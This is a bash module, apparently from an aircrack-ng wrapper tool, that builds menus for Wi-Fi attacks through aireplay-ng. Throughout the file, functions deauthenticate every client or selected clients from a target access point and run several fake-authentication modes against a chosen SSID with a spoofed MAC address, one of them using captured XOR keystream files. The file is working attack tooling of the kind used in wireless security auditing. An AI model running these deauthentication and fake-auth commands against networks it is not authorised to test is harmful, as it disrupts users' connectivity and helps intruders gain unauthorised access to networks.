# Copyright (C)  2011 David Francos Cuartero
#        This program is free software; you can redistribute it and/or
#        modify it under the terms of the GNU General Public License
#        as published by the Free Software Foundation; either version 2
#        of the License, or (at your option) any later version.

#        This program is distributed in the hope that it will be useful,
#        but WITHOUT ANY WARRANTY; without even the implied warranty of
#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#        GNU General Public License for more details.

#        You should have received a copy of the GNU General Public License
#        Along with this program; if not, write to the Free Software
#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

authmenu(){
    while true; do
        mkmenu $"Autentication menu" $"Fake autentication" $"Deautentication" $"Return to main menu"
        case $choice in
            1  ) choose_fake    ; $clear; break;;
            2  ) choose_deauth  ; $clear; break;;
            3  ) $clear ; break;;
            *  ) echo $"Unknown response, try again"; sleep 1; $clear;;
        esac
    done
}

choose_deauth(){
	[[ $1 ]] && { auth_attacks_deauth $1; return ; } 
    [[ $AUTO == 2 ]] && { auth_attacks_deauth 1;return; }
    [[ $AUTO == 1 ]] && { auth_attacks_deauth 1;return; }
    while true; do
		mkmenu $"Who do you want to deauth?" $"Everybody" $"Myself (fake mac)" $"Selected client"
		auth_attacks_deauth $choice || error $"Unknown response. Try again" ;
	done
}

auth_attacks_deauth(){ attack=$1;
	case $attack in
		1) execute $"Deauth All" $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC $wifi;;
		2) execute $"Deauth client" $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC -c $Client_MAC $iwifi;; 
		3) execute $"Deautenticating" $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC -c $FAKE_MAC $iwifi;;
	esac
}

choose_fake(){
	required "$Host_SSID" "You have to select a target first" || return;
	[[ "$INTERACTIVE" != "1" ]] && { auth_attacks_fake 1; auth_attacks_fake 2; auth_attacks_fake 3; return; }
	while true; do
		mkmenu $"Fake Auth Method" $"Conservative" $"Standard" $"Progressive" $"Xor Injection"
		check_function "${auth_attacks_fake_$choice}" && { auth_attacks_fake $choice; break; }
		error $"Unknown response. Try again" ;
	done
}

auth_attacks_fake(){
	export time_=2;
	case $choice in
		1 ) execute "Fake auth (1) " $AIREPLAY --fakeauth 6000 -o 1 -q 10\
		   	-e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi;;
		2 ) execute "Fake auth (2) " $AIREPLAY --fakeauth 0\
		   	-e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi ;;
		3 ) execute "Fake auth (3) " $AIREPLAY --fakeauth 5 -o 10 -q 1\
		   	-e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi ;;
		4 ) execute "Fake auth (4) " $AIREPLAY -1 0 -e "$HOST_SSID"\
		   	-y $DUMP_PATH/*.xor -a $Host_MAC -h $FAKE_MAC $iwifi ;;
		* ) return 1; 
	esac
}

fakeauth(){
    execute "Fake auth on $Host_SSID" $AIREPLAY --fakeauth $AUTHDELAY -q $KEEPALIVE -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi
}
